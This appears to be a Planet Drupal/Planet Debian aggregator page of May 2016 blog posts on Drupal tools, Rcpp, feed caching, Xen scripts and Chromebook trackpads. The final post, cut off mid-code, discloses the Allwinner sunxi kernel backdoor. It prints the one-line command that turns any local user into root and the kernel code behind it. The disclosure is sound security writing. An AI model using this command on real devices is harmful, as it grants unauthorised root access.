Tim Millwood: Workflow Initiative - DrupalCon New Orleans 2016

Planet Drupal - lun, 16/05/2016 - 10:36
Last week I presented the plan for the Drupal Workflow Initiative at DrupalCon New Orleans. Please...
Catégories: Elsewhere

Darryl Norris's Blog: Get Your Libraries And Breakpoint Information From The UI

Planet Drupal - dim, 15/05/2016 - 19:31

Have you ever try to get data from your libraries and/or breakpoints in Drupal 8 ? Drupal 8 core does not provide a UI for this information.  And sometimes is nice to have the ability to know your data from the UI. Instead of trying to hunt down all that information by searching many files. For this reason, I decide to write few modules that will allow you to get some of the libraries and breakpoint information from the UI. 

Libraries UI

  • Project Page: https://www.drupal.org/project/libraries_ui
  • Module Description: This module will provide a UI to display all libraries provide by modules and themes. Once libraries_ui is been installed visit /admin/config/media/libraries_ui to get all breakpoints information.

Breakpoints UI

  • Project Page: https://www.drupal.org/project/breakpoints_ui
  • Module Description: This module will provide a UI to display all breakpoints provide by modules and themes. Once breakpoints_ui is been installed visit /admin/config/media/breakpoints_ui to get all
Catégories: Elsewhere

Attiks: Dream fields for Drupal 8

Planet Drupal - dim, 15/05/2016 - 17:13

I went to Drupalcon NOLA and was looking for a new way to contribute, since there've been a lot of discussion about the front-end part, and after reading @dries blog post Turning Drupal outside-in I started looking at the field UI. I stumbled upon the core issue titled The options under the Add field drop-down describe the data you want to store, but the user was imagining the widget it would produce and decided that the outside-in approach might be a good approach.

By Peter Droogmans

Catégories: Elsewhere

Joachim's blog: What goes on in Drupal Code Builder?

Planet Drupal - dim, 15/05/2016 - 15:13

Drupal Code Builder library is the new library which powers Module Builder. I recently split Module Builder up, so Drupal Code Builder (DCB) is the engine for generating Drupal code, while what remains in the Module Builder module is just the UI.

DCB is an extensible framework, so if you wanted to have DCB create scaffold code for a particular Drupal component or system, you can.

DCB's API is documented in the README. It's based on the idea of tasks: for example, list the hooks and plugin types that DCB has parsed from the site code, analyze the site code to update that list, or generate code for a module. There are Task classes, and you call public methods on these to do something.

The generators

Broadly, there are three things you want to do with DCB: collect and analyze data about a Drupal codebase to learn about hooks and plugin types, report on that data, and actually generate some code.

The Generate task class is where the work of creating code begins. The other task classes are all pretty simple, or at least self-contained, but the Generate task is accompanied by a large number of classes in the DrupalCodeBuilder\Generate namespace. You can see from the file names that these represent all the different components that make up generated code.

Furthermore, as well as all inheriting from BaseGenerator, there are hierarchies which can probably be deduced from the names alone, where more specialized generators inherit from generic ones. For example, we have:

  • File
    • PHPFile
    • ModuleCodeFile
    • PHPClassFile
      • Plugin
      • Service
    • API (this one's for your mymodule.api.php file)
    • YMLFile
    • Readme

and also:

  • PHPFunction
    • HookImplementation
    • HookMenu
    • HookPermission

However, these hierarchies are only about code re-use. In terms of PHP code, HookImplementation is only related to ModuleCodeFile by the common BaseGenerator base class. As the process of code generation takes place, there will be a tree of components that represents components containing each other, but it's important to remember that class inheritance doesn't come into it.

Also, while the generators in the hierarchies above clearly represent some tangible part of the code we're going to generate, some are more abstract, such as Module and Hooks. These aren't abstract in the OO sense, as they will get instantiated, but I think of them as abstract in the sense that they're not concrete and are responsible for code across different files. (Suggestions for a better word to describe them please!)

The process of generating code starts with a call to the Generate task's generateComponent() method. The host UI application (such as Module Builder module, or the Drush command) passes it an array of data that looks something like this:

[ 'base' => 'module', 'root_name' => 'mymodule, 'readable_name' => 'My module', 'hooks' => [ 'form_alter' => TRUE, 'install' => TRUE, ], 'plugins => [ 0 => [ 'plugin_type' => 'block', 'plugin_name' => 'my_plugin', 'injected_services' => [ 'current_user', ], ], ], 'settings_form' => TRUE, 'readme' => TRUE, ]

(How you get the specification for this array as a list of properties and their expected format is a detailed topic of its own, which will be covered later. For now, we're jumping in at the point where code is generated.)

Assembling components

The first job for the Generate task class is to turn this array of data into a list of generator classes for the necessary components.

This list is built up in a cascade, where each component gets to request further components, and those get to request components too, and so on, until we reach components that don't request anything. We start with the root component that was initially requested, Module, let that request components, and then repeat the process.

This is best illustrated with the AdminSettingsForm generator. This implements the requiredComponents() method to request:

  • a permission
  • a router item (on Drupal 7 that's a menu item, but in DCB we refer to these a router item whatever the core Drupal version)
  • a form

In turn, the Permission generator requests a permissions YAML file. You'll see that there are two Permission generators, each with a version suffix. The Permission7 generator requests a hook_permission() hook, which in turn requests a .module file. The Permission8 generator is somewhat simpler, and just requests a YMLFile component.

Meanwhile, the router item requests a routing.yml file on D8, and a hook_menu() on D7.

These two parts of the cascade end when we reach the various file generators: ModuleCodeFile and YMLFile don't request anything. The process that gathers all these generators works iteratively: every iteration it calls requiredComponents() on all the components the previous iteration gave it, and it only stops once an iteration produces no new components. It's safe to request the same component multiple times; in the D7 version of our example, both our hook_menu() and hook_permission() will request a ModuleCodeFile component that represents the .module file. The cascade system knows to either combine these two requests into one component, or ignore the second if it's identical to what's already been requested.

We now have a list of about a dozen or so components, each of which is an instantiated Generator object. Some represent files, some represent functions, and some like Hooks represent a more vague concept of the module 'having some hooks'. There's also the Module generator which started the whole process, whose requiredComponents() did most of the work of interpreting the given array of data.

Assembling a tree of components

The second part of the process is to assemble this flat list of components into a tree. This is where the notion of which component contains others does come into play. This is a different concept from requested components: a component can request something that it won't end up containing, as we saw with the AdminSettingsForm, which requests a permission.

The Generate task calls the containingComponent() method on each component, and this is used to assemble an array of parentage data. There's nothing fancy or recursive going on here; the tree is just an array whose keys are the identifiers of components, and whose values are arrays of the child component identifiers.

This tree now represents a structure of components where child items will produce code to be included in their parents. One part of this structure could be represented like this:

  • module
    • routing.yml
    • router item
    • permission.yml
    • permission
    • .install
    • hook_install()

Some components, such as the Hooks component, are no longer around now: their job was to be a sort of broker for other components in the requesting phase, and they're no longer involved. The root component, Module, is the root of the tree. All the files we'll be outputting are its immediate children. (This is not a file hierarchy, folders are not represented here.)

Assembling file contents

We now have everything we need to start actually generating some code. This is done in a way that's very similar to Drupal's Render API: we recurse into the tree, asking each component to return some content both from itself and its children.

So for example, the router items contribute some lines to the routing.yml file, which then turns them into YAML. The .install component, which is an instance of ModuleCodeFile, produces a @file docblock, and then gets the docblock, function declaration, and function body from the hook_install component, and glues them all together.

Finally, each file component (the immediate children of the module component in the tree) gets to say what its file name and path should be.

So the Generate task has an array of data about files, where each item has a file name, file path, and file contents. This is returned to the caller to be output to the user, or written to the filesystem. Module Builder presents the files in a form, and allows the files to be written. The Drush command outputs them to terminal and optionally writes them too.

Extending it with new components

The best way to add new things for DCB to generate is to inherit from existing basic classes. If these don’t provide the flexibility, there’s always a case to be made to give them more configurable options: for example, the AdminSettingsForm class inherits from Form, but neither of those do very little for the actual generated form class, as the work for that is mostly done by the PHPClass class.

The roadmap for DCB at the moment consists of the following:

  • Generalize the injected services functionality that’s already in Plugins, so generated Form classes and Services can have them too.
  • Add Forms as a basic component that you can request to generate. (It’s currently there only as a base for the AdminSettingsForm generator.)

And as ever, keep adding tests, keep refactoring and improving the code. But I'm always interested in hearing new ideas (or you know, better yet, patches) in the issue queue.

Catégories: Elsewhere

Jonathan Dowland: Announcement

Planet Debian - dim, 15/05/2016 - 04:11

It has become a bit traditional within Debian to announce these things in a geeky manner, so for now

# ed -p: /etc/exim4/virtual/dow.land :a holly: :fail: reserved for future use . :wq 99

More soon!

Catégories: Elsewhere

Dirk Eddelbuettel: Rcpp 0.12.5: Yet another one

Planet Debian - dim, 15/05/2016 - 03:54

The fifth update in the 0.12.* series of Rcpp has arrived on the CRAN network for GNU R a few hours ago, and was just pushed to Debian. This 0.12.5 release follows the 0.12.0 release from late July, the 0.12.1 release in September, the 0.12.2 release in November, the 0.12.3 release in January, and the 0.12.4 release in March --- making it the ninth release at the steady bi-montly release frequency. This release is one again more of a maintenance release addressing a number of small bugs, nuisances or documentation issues without adding any major new features.

Rcpp has become the most popular way of enhancing GNU R with C or C++ code. As of today, 662 packages on CRAN depend on Rcpp for making analytical code go faster and further. That is up by almost fifty packages from the last release in late March!

And as during the last few releases, we have first-time committers. we have new first-time contributors. Sergio Marques helped to enable compilation on Alpine Linux (with its smaller libc variant). Qin Wenfeng helped adapt for Windows builds under R 3.3.0 and the long-awaited new toolchain. Ben Goodrich fixed a (possibly ancient) Rcpp Modules bug he encountered when working with rstan. Other (recurrent) contributor Dan Dillon cleaned up an issue with Nullable and strings. Rcpp Core team members Kevin and JJ took care of small build nuisance on Windows, and I added in a new helper function, updated the skeleton generator and (finally) formally deprecated loadRcppModule() for which loadModule() has been preferred since around R 2.15 or so. More details and links are below.

Changes in Rcpp version 0.12.5 (2016-05-14)
  • Changes in Rcpp API:

    • The checks for different C library implementations now also check for Musl used by Alpine Linux (Sergio Marques in PR #449).

    • Rcpp::Nullable works better with Rcpp::String (Dan Dillon in PR #453).

  • Changes in Rcpp Attributes:

    • R 3.3.0 Windows with Rtools 3.3 is now supported (Qin Wenfeng in PR #451).

    • Correct handling of dependent file paths on Windows (use winslash = "/").

  • Changes in Rcpp Modules:

    • An apparent race condition in Module loading seen with R 3.3.0 was fixed (Ben Goodrich in #461 fixing #458).

    • The (older) loadRcppModules() is now deprecated in favour of loadModule() introduced around R 2.15.1 and Rcpp 0.9.11 (PR #470).

  • Changes in Rcpp support functions:

    • The Rcpp.package.skeleton() function was again updated in order to create a DESCRIPTION file which passes R CMD check without notes. warnings, or error under R-release and R-devel (PR #471).

    • A new function compilerCheck can test for minimal g++ versions (PR #474).

Thanks to CRANberries, you can also look at a diff to the previous release. As always, even fuller details are on the Rcpp Changelog page and the Rcpp page which also leads to the downloads page, the browseable doxygen docs and zip files of doxygen output for the standard formats. A local directory has source and documentation too. Questions, comments etc should go to the rcpp-devel mailing list off the R-Forge page.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

Catégories: Elsewhere

Antoine Beaupré: Long delays posting Debian Planet Venus

Planet Debian - sam, 14/05/2016 - 21:47

For the last few months, it seems that my posts haven't been reaching the Planet Debian aggregator correctly. I timed the last two posts and they both arrived roughly 10 days late in the feed.

SNI issues

At first, I suspected I was a victim of the SNI bug in Planet Venus: since it is still running in Python 2.7 and uses httplib2 (as opposed to, say, Requests), it has trouble with sites running under SNI. In January, there were 9 blogs with that problem on Planet. When this was discussed elsewhere in February, there were now 18, and then 21 reported in March. With everyone enabling (like me) Let's Encrypt on their website, this number is bound to grow.

I was able to reproduce the Debian Planet setup locally to do further tests and ended up sending two (unrelated) patches to the Debian bug tracker against Planet Venus, the software running Debian planet. In my local tests, I found 22 hosts with SNI problems. I also posted some pointers on how the code could be ported over to the more modern Requests and Cachecontrol modules.

Expiry issues

However, some of those feeds were working fine on philp, the host I found was running as the Planet Master. Even more strange, my own website was working fine!

INFO:planet.runner:Feed https://anarc.at/tag/debian-planet/index.rss unchanged

Now that was strange: why was my feed fetched, but noted as unchanged? For that, I found that there was a FAQ question buried down in the PlanetDebian wikipage which explicitly said that Planet obeys Expires headers diligently and will not get new content again if the headers say they did. Skeptical, I looked my own headers and, ta-da! they were way off:

$ curl -v https://anarc.at/tag/debian-planet/index.rss 2>&1 | egrep '< (Expires|Date)' < Date: Sat, 14 May 2016 19:59:28 GMT < Expires: Sat, 28 May 2016 19:59:28 GMT

So I lowered the expires timeout on my RSS feeds to 3 hours:

root@marcos:/etc/apache2# git diff diff --git a/apache2/conf-available/expires.conf b/apache2/conf-available/expires.conf index 214f3dd..a983738 100644 --- a/apache2/conf-available/expires.conf +++ b/apache2/conf-available/expires.conf @@ -3,8 +3,18 @@ # Enable expirations. ExpiresActive On - # Cache all files for 2 weeks after access (A). - ExpiresDefault A1209600 + # Cache all files 12 hours after access + ExpiresDefault "access plus 12 hours" + + # RSS feeds should refresh more often + <FilesMatch \.(rss)$> + ExpiresDefault "modification plus 4 hours" + </FilesMatch> + + # images are *less* likely to change + <FilesMatch "\.(gif|jpg|png|js|css)$"> + ExpiresDefault "access plus 1 month" + </FilesMatch> <FilesMatch \.(php|cgi)$> # Do not allow scripts to be cached unless they explicitly send cache

I also lowered the general cache expiry, except for images, Javascript and CSS.

Planet Venus maintenance

A small last word about all this: I'm surprised to see that Planet Debian is running a 6 year old software that hasn't seen a single official release yet, with local patches on top. It seems that Venus is well designed, I must give them that, but it's a little worrisome to see great software just rotting around like this.

A good "planet" site seems like a resource a lot of FLOSS communities would need: is there another "Planet-like" aggregator out there that is well maintained and more reliable? In Python, preferably.

PlanetPlanet, which Venus was forked from, is out of the question: it is even less maintained than the new fork, which itself seems to have died in 2011.

There is a discussion about the state of Venus on Github which reflects some of the concerns expressed here, as well as on the mailing list. The general consensus seems to be that everyone should switch over to Planet Pluto, which is written in Ruby.

I am not sure which planet Debian sits on - Pluto? Venus? Besides, Pluto is not even a planet anymore...

Mike check!

So this is also a test to see if my posts reach Debian Planet correctly. I suspect no one will ever see this on the top of their feeds, since the posts do get there, but with a 10 days delay and with the original date, so they are "sunk" down. The above expiration fixes won't take effect until the 10 days delay is over... But if you did see this as noise, retroactive apologies in advance for the trouble.

If you are reading this from somewhere else and wish to say hi, don't hesitate, it's always nice to hear from my readers.

Catégories: Elsewhere

Blue Drop Shop: Drupal Camp Session Recordings: A Year in Review

Planet Drupal - sam, 14/05/2016 - 17:46

It has been nearly a year since I’ve updated the status of my camp recording kits. Since DCSTL15, two other camps took me up on my proposal to sponsor my travel and hotel in exchange for me recording and posting their sessions: TCDrupal and BADCamp. And, of course, as a MidCamp organizer, that counts too. And with each those camps, I’ve iterated and learned from invaluable successes and failures.

First off, here is a link to the current kit.

With everything, each kit is still under $450. In addition, zip ties to hold the VGA to HDMI dongle tight and some gaffers tape to secure everything to the podium are needed.


At Twin Cities, I learned that, while I try, I cannot reasonably start and stop every recording in every room, especially at camps with five concurrent sessions spread over multiple floors and buildings. The amount of volunteer participation at TCDrupal is incredibly impressive. I had loads of help at my disposal, but only a few moments to outline how the kits work, so I spent a lot of time troubleshooting from room to room.

BADCamp is another camp that sprawls over a campus and is a bit looser on the room monitor support. So this time, I came armed with printed instructions at each podium for hooking up to the kit (link). I added some basic troubleshooting and my phone number. I missed about half the session starts, but speakers were mostly able to follow the instructions and run things without me. That was a huge win. Unfortunately, remembering to also start/stop the audio record was hit or miss.

By the time MidCamp rolled around, I simplified the instructions further and also set the backup audio record to just run all day, removing the failure point of missed audio. The big red button is easy and enticing. The little button on the audio recorder remote...not so much. MidCamp, with two days of four concurrent sessions was my first 100% captured camp since St. Louis.

Pain Points

There are four recurring issues with this setup:

  • VGA-only laptops
  • Recurring audio problems
  • File segmenting
  • Random projector problems

Hopefully, the time of laptops that only have VGA out is coming to an end. I've tried several different VGA-to-HDMI converters with basically no luck. And to spend hundreds of dollars or more for a fool-proof converter when modern laptops have better video output is a hard pill to swallow. I don't foresee this being a long-term problem.

The audio issues are baffling. In some cases, no audio at all is recorded with the screen capture, while other times it is sped up and choppy, hence the importance of the backup audio files from the voice recorder. But this means post-processing time which delays uploads. I intend to contact Hauppauge support, but honestly don't expect to get very far as I am using their device as it was not intended. Lastly, the capture device has a touch panel for adjusting gain and muting the audio. It is a little to easy to accidentally mute the audio.

Minor annoyance: occasionally, the recordings will split into two or more files, meaning I have to stitch them together in post.

At MidCamp for the past two years (both held at different locations on UIC campus), some of the projectors would intermittently go dark during presentations. While this has no impact on the recording, it is extremely unsettling for the presenter and annoying for the attendees. I recall this happening in some cases at Twin Cities, but not at BADCamp. So this one currently has me stumped with no good plan of resolution at this time.

Next Steps

For obvious reasons, I can't record all the sessions at all the camps. And already I have firm plans to record Twin Cities in June, St. Louis in September, and BADCamp in October. Talking to folks at Drupalcon, I also now have soft commitments with Drupal GovCon in July and Drupal Camp New Jersey in January. And other camps have reached out, but I have conflicts.

I managed to pack up a complete kit into a 10" Pelican case. This means that if I can start training some proxies and write up some detailed instructions and troubleshooting, then this solution can scale. Maybe folks won’t have experience with the post-production, but I can help with that remotely, if needed. The beauty of these kits is that with timely starts and stops and good audio, the MP4 file on the thumb drive can be uploaded as soon as it is collected.

The good news is that the more camps I can record, the more data I can collect and the more I can refine the process to make it scalable.

Stay tuned!

Catégories: Elsewhere

Thadeu Lima de Souza Cascardo: Chromebook Trackpad

Planet Debian - sam, 14/05/2016 - 17:26

Three years ago, I wanted to get a new laptop. I wanted something that could run free software, preferably without blobs, with some good amount of RAM, good battery and very light, something I could carry along with a work laptop. And I didn't want to spend too much. I don't want to make this too long, so in the end, I asked in the store anything that didn't come with Windows installed, and before I was dragged into the Macbook section, I shouted "and no Apple!". That's how I got into the Chromebook section with two options before me.

There was the Chromebook Pixel, too expensive for me, and the Samsung Chromebook, using ARM. Getting a laptop with an ARM processor was interesting for me, because I like playing with different stuff. I looked up if it would be possible to run something other than ChromeOS on it, got the sense that is, it would, and make a call. It does not have too much RAM, but it was cheap. I got an external HD to compensate for the lack of storage (only 16GB eMMC), and that was it.

Wifi does require non-free firmware to be loaded, but booting was a nice surprise. It is not perfect, but I will see if I can get to that another day.

I managed to get Fedora installed, downloading chunks of an image that I could write into the storage. After a while, I backed up home, and installed Debian using debootstrap.

Recently, after an upgrade from wheezy to jessie, things stopped working. systemd would not mount the most basic partitions and would simply stop very early in the boot process. That's a story on my backlog as well, that I plan to tell soon, since I believe this connects with supporting Debian on mobile devices.

After fixing some things, I decided to try libinput instead of synaptics for the Trackpad. The Chromebook uses a Cypress APA Trackpad. The driver was upstreamed in Linux 3.9. The Chrome OS ships with Linux 3.4, but had the driver in its branch.

After changing to libinput, I realized clicking did not work. Neither did tapping. I moved back to synaptics, and was reminded things didn't work too well with that either. I always had to enable tapping.

I have some experience with input devices. I wrote drivers, small applications reacting to some events, and some uinput userspace drivers as well. I like playing with that subsystem a lot. But I don't have too much experience with multitouch and libinput is kind of new for me too.

I got my hands on the code and found out there is libinput-debug-events. It will show you how libinput translates evdev events. I clicked on the Trackpad and got nothing but some pointer movements. I tried evtest and there were some multitouch events I didn't understand too well, but it looked like there were important events there that I thought libinput should have recognized.

I tried reading some of libinput code, but didn't get too far before I tried something else. But then, I had to let this exercise for another day. Today, I decided to do it again. Now, with some fresh eyes, I looked at the driver code. It showed support for left, right and middle buttons. But maybe my device doesn't support it, because I don't remember seeing it on evtest when clicking the Trackpad. I also understood better the other multitouch events, they were just saying how many fingers there were and what was the position of which one of them. In the case of a single finger, you still get an identifier. For better understanding of all this, reading Documentation/input/event-codes.txt and Documentation/input/multi-touch-protocol.txt is recommended.

So, in trying to answer if libinput needs to handle my devices events properly, or handle my device specially, or if the driver requires changes, or what else I can do to have a better experience with this Trackpad, things were tending to the driver and device. Then, after running evtest, I noticed a BTN_LEFT event. OK, so the device and driver support it, what is libinput doing with that? Running evtest and libinput-debug-events at the same time, I found out the problem. libinput was handling BTN_LEFT correctly, but the driver was not reporting it all the time.

By going through the driver, it looks like this is either a firmware or a hardware problem. When you get the click response, sound and everything, the drivers will not always report it. It could be pressure, eletrical contact, I can't tell for sure. But the driver does not check for anything but what the firmware has reported, so it's not the driver.

A very interesting I found out is that you can read and write the firmware. I dumped it to a file, but still could not analyze what it is. There are some commands to put the driver into some bootloader state, so maybe it's possible to play with the firmware without bricking the device, though I am not sure yet. Even then, the problem might not be fixable by just changing the firmware.

So, I left with the possibility of using tapping, which was not working with libinput. Grepping at the code, I found out by libinput documentation that tapping needs to be enabled. The libinput xorg driver supports that. Just set the Tapping option to true and that's it.

So, now I am a happy libinput user, with some of the same issues I had before with synaptics, but something you get used to. And I have a new firmware in front of me that maybe we could tackle by some reverse engineering.

Catégories: Elsewhere

Drupal Association News: Hello, World! (Goodbye, Drupal Association)

Planet Drupal - sam, 14/05/2016 - 14:06

My first day on the job, I got on an airplane and flew to Australia to attend DrupalCon Sydney. As first days on the job go, that’s gotta be up there as one of the best. It definitely set the tone for life in the Drupal community - it’s been an exciting adventure every single day. I’ve traveled around the world, worked with incredibly smart people, and learned four or five Git commands (thanks Cathy!).

So it’s not without some sadness that I share that my last day on this job will be June 3. Why am I leaving? Simply put, because I can. Drupal 8 is out and thriving. The Association is doing more and doing it better than it ever has. Now is the time for me to take a step back, eat some cake, and then find something new to jump into (after a nap, and probably some more cake).

Luckily, the Drupal community has an amazing individual ready to step in to lead the Association. I’m proud beyond words to see Megan Sanicki take on these challenges and work with you all as the next Executive Director of the Association. I know she will continue to build an Association that operates from its values for and with the Drupal community. We’ve been working together on this transition for a little while now, and I can’t wait to see what she does.

I just want to share a couple of thanks before I go. First, I’m deeply proud of the team that we have built at the Drupal Association. The Drupal Association staff are the rainbow unicorns of teams. They are honest about their opinions, but kind in their delivery. They are fierce in their loyalty to the community, and even more so in their loyalty to each other. They genuinely care about every interaction, and even when things go sideways, you can trust that their intentions were nothing but good. I learned from them. Every. Single. Day. I owe them a heck of a lot more than this thank you, but I wanted to get it out in the world. They are the best. Treat them well.

Secondly, I want to thank the dozens of community members who have gone out of their way to support me in this role. I’ll be following up personally with as many of you as I can, but I wanted to call out a few of you in particular. Angie taught me that introverts can learn to like hugs. George and Tiffany taught me to take my time and find the exact right words. Paul taught me that you can’t have too many passion projects. Donna taught me that it’s not summer everywhere. Cathy taught me Git (well, four or five commands that I can remember). There is so much generosity in Drupal.

The Association board and Megan will be working hard over the next few weeks on this transition to make sure that we continue to grow our support of the community, keep producing amazing DrupalCons, and ensure that Drupal remains the best darn CMS out there. I’ll be over here rooting for all of you. You’ll find me next to the cake.

Catégories: Elsewhere

Radium on Drupal: Deploying Drupal Sites with Docker Compose

Planet Drupal - sam, 14/05/2016 - 12:51
Deploying a Drupal site (or any website) could sometimes be cumbersome, in particular if you have multiple websites running on one server. The amount of time wasted in configuring the server could be considerable. Docker is one of the tools that can save us from the "configuration hell". Thanks to pre-built images, I no longer have to worry about dependencies since they can be all included in one image. Also, unlike virtual machine, Docker is fast and take only a few seconds to start. Another benefit is that now you can have the same environment on your local machine and on the server -- just use the same image. In this post I will quickly walk through the steps of using Docker Compose to deploy Drupal.
Catégories: Elsewhere

Russell Coker: Xen CPU Use per Domain again

Planet Debian - sam, 14/05/2016 - 11:30

8 years ago I wrote a script to summarise Xen CPU use per domain [1]. Since then changes to Xen required changes to the script. I have new versions for Debian/Wheezy (Xen 4.1) and Debian/Jessie (Xen 4.4).

Here’s a new script for Debian/Wheezy:

use strict;

open(LIST, "xm list --long|") or die "Can't get list";

my $name = "Dom0";
my $uptime = 0.0;
my $cpu_time = 0.0;
my $total_percent = 0.0;
my $cur_time = time();

open(UPTIME, "</proc/uptime") or die "Can't open /proc/uptime";
my @arr = split(/ /, <UPTIME>);
$uptime = $arr[0];

my %all_cpu;

  if($_ =~ /^\)/)
    my $cpu = $cpu_time / $uptime * 100.0;
    if($name =~ /Domain-0/)
      printf("%s uses %.2f%% of one CPU\n", $name, $cpu);
      $all_cpu{$name} = $cpu;
    $total_percent += $cpu;
  $_ =~ s/\).*$//;
  if($_ =~ /start_time /)
    $_ =~ s/^.*start_time //;
    $uptime = $cur_time – $_;
  if($_ =~ /cpu_time /)
    $_ =~ s/^.*cpu_time //;
    $cpu_time = $_;
  if($_ =~ /\(name /)
    $_ =~ s/^.*name //;
    $name = $_;

sub hashValueDescendingNum {
  $all_cpu{$b} <=> $all_cpu{$a};

my $key;

foreach $key (sort hashValueDescendingNum (keys(%all_cpu)))
  printf("%s uses %.2f%% of one CPU\n", $key, $all_cpu{$key});

printf("Overall CPU use approximates %.1f%% of one CPU\n", $total_percent);

Here’s the script for Debian/Jessie:


use strict;

open(UPTIME, "xl uptime|") or die "Can't get uptime";
open(LIST, "xl list|") or die "Can't get list";

my %all_uptimes;

  chomp $_;

  next if($_ =~ /^Name/);
  $_ =~ s/ +/ /g;

  my @split1 = split(/ /, $_);
  my $dom = $split1[0];
  my $uptime = 0;
  my $time_ind = 2;
  if($split1[3] eq "days,")
    $uptime = $split1[2] * 24 * 3600;
    $time_ind = 4;
  my @split2 = split(/:/, $split1[$time_ind]);
  $uptime += $split2[0] * 3600 + $split2[1] * 60 + $split2[2];
  $all_uptimes{$dom} = $uptime;

my $total_percent = 0;

  chomp $_;

  my $dom = $_;
  $dom =~ s/ .*$//;

  if ( $_ =~ /(\d+)\.[0-9]$/ )
    my $percent = $1 / $all_uptimes{$dom} * 100.0;
    $total_percent += $percent;
    printf("%s uses %.2f%% of one CPU\n", $dom, $percent);

printf("Overall CPU use approximates  %.1f%% of one CPU\n", $total_percent);

Related posts:

  1. Xen CPU use per Domain The command “xm list” displays the number of seconds of...
  2. Running a Shell in a Daemon Domain allow unconfined_t logrotate_t:process transition; allow logrotate_t { shell_exec_t bin_t }:file...
  3. Securely Killing Processes Joey Hess wrote on Debian-devel about the problem of init...
Catégories: Elsewhere

Michal &#268;iha&#345;: Fifteen years with phpMyAdmin and free software

Planet Debian - sam, 14/05/2016 - 11:23

Today it's fifteen years from my first contribution to free software. I've changed several jobs since that time, all of them involved quite a lot of free software and now I'm fully working on free software.

The first contribution happened to be on phpMyAdmin and did consist of Czech translation:

Subject: Updated Czech translation of phpMyAdmin From: Michal Cihar <cihar@email.cz> To: swix@users.sourceforge.net Date: Mon, 14 May 2001 11:23:36 +0200 X-Mailer: KMail [version 1.2] Hi I've updated (translated few added messages) Czech translation of phpMyAdmin. I send it to you in two encodings, because I thing that in distribution should be included version in ISO-8859-2 which is more standard than Windows 1250. Regards Michal Cihar

Many other contributions came afterwards, several projects died on the way, but it has been a great ride so far. To see some of these you can look at my software page which contains both current and past projects and also includes later opensourced tools I've created earlier (mostly for Windows).

These days you can find me being active on phpMyAdmin, Gammu, python-gammu and Wammu, Debian and Weblate.

Filed under: Debian English phpMyAdmin SUSE | 2 comments

Catégories: Elsewhere

ActiveLAMP: Encapsulation, Inheritance, Polymorphism with Drupal Entities - SandCamp 2016

Planet Drupal - sam, 14/05/2016 - 05:01

One of the best things to happen with the Drupal 7 release was the introduction of Entities. Drupal Entities have been around forever, but it seems like a lot of developers still refer back to using Nodes when creating content that requires more functionality than what Nodes give you out of the box. In this video, I talk about why it’s a good idea to create your own Entities when the content you’re adding requires extended functionality. I talk about the “what” and the “why” of Entities, not necessarily “how” to create an Entity. There are a bunch of resources already out there on the Internet for that. I talk about using the Entity API module, and defining your own Class for your custom Entities. This presentation was given at SandCamp 2016.

Catégories: Elsewhere

Gunnar Wolf: Debugging backdoors and the usual software distribution for embedded-oriented systems

Planet Debian - sam, 14/05/2016 - 02:58

In the ARM world, to which I am still mostly a newcomer (although I've been already playing with ARM machines for over two years, I am a complete newbie compared to my Debian friends who live and breathe that architecture), the most common way to distribute operating systems is to distribute complete, already-installed images. I have ranted in the past on how those images ought to be distributed.

Some time later, I also discussed on my blog on how most of this hardware requires unauditable binary blobs and other non-upstreamed modifications to Linux.

In the meanwhile, I started teaching on the Embedded Linux diploma course in Facultad de Ingeniería, UNAM. It has been quite successful — And fun.

Anyway, one of the points we make emphasis on to our students is that the very concept of embedded makes the mere idea of downloading a pre-built, 4GB image, loaded with a (supposedly lightweight, but far fatter than my usual) desktop environment and whatnot an irony.

As part of the "Linux Userspace" and "Boot process" modules, we make a lot of emphasis on how to build a minimal image. And even leaving installed size aside, it all boils down to trust. We teach mainly four different ways of setting up a system:

  • Using our trusty Debian Installer in the (unfortunately few) devices where it is supported
  • Installing via Debootstrap, as I did in my CuBox-i tutorial (note that the tutorial is nowadays obsolete. The CuBox-i can boot with Debian Installer!) and just keeping the boot partition (both for u-boot and for the kernel) of the vendor-provided install
  • Building a barebones system using the great Buildroot set of scripts and hacks
  • Downloading a full, but minimal, installed image, such as OpenWRT (I have yet to see what's there about its fork, LEDE)

Now... In the past few days, a huge vulnerability / oversight was discovered and made public, supporting my distrust of distribution forms that do not come from, well... The people we already know and trust to do this kind of work!

Most current ARM chips cannot run with the stock, upstream Linux kernel. Then require a set of patches that different vendors pile up to support their basic hardware (remember those systems are almost always systems-on-a-chip (SoC)). Some vendors do take the hard work to try to upstream their changes — that is, push the changes they did to the kernel for inclusion in mainstream Linux. This is a very hard task, and many vendors just abandon it.

So, in many cases, we are stuck running with nonstandard kernels, full with huge modifications... And we trust them to do things right. After all, if they are knowledgeable enough to design a SoC, they should do at least decent kernel work, right?

Turns out, it's far from the case. I have a very nice and nifty Banana Pi M3, based on the Allwinner A83T SoC. 2GB RAM, 8 ARM cores... A very nice little system, almost usable as a desktop. But it only boots with their modified 3.4.x kernel.

This kernel has a very ugly flaw: A debugging mode left open, that allows any local user to become root. Even on a mostly-clean Debian system, installed by a chrooted debootstrap:

  1. Debian GNU/Linux 8 bananapi ttyS0
  3. banana login: gwolf
  4. Password:
  6. Last login: Thu Sep 24 14:06:19 CST 2015 on ttyS0
  7. Linux bananapi 3.4.39-BPI-M3-Kernel #9 SMP PREEMPT Wed Sep 23 15:37:29 HKT 2015 armv7l
  9. The programs included with the Debian GNU/Linux system are free software;
  10. the exact distribution terms for each program are described in the
  11. individual files in /usr/share/doc/*/copyright.
  13. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
  14. permitted by applicable law.
  16. gwolf@banana:~$ id
  17. uid=1001(gwolf) gid=1001(gwolf) groups=1001(gwolf),4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev)
  18. gwolf@banana:~$ echo rootmydevice > /proc/sunxi_debug/sunxi_debug
  19. gwolf@banana:~$ id
  20. groups=0(root),4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),1001(gwolf)

Why? Oh, well, in this kernel somebody forgot to comment out (or outright remove!) the sunxi-debug.c file, or at the very least, a horrid part of code therein (it's a very small, simple file):

  1. if(!strncmp("rootmydevice",(char*)buf,12)){
  2. cred = (struct cred *)__task_cred(current);
  3. cred->uid = 0;
  4. cred->gid = 0;
  5. cred->suid = 0;
  6. cred->euid = 0;
  7. cred->euid = 0;
  8. cred->egid = 0;
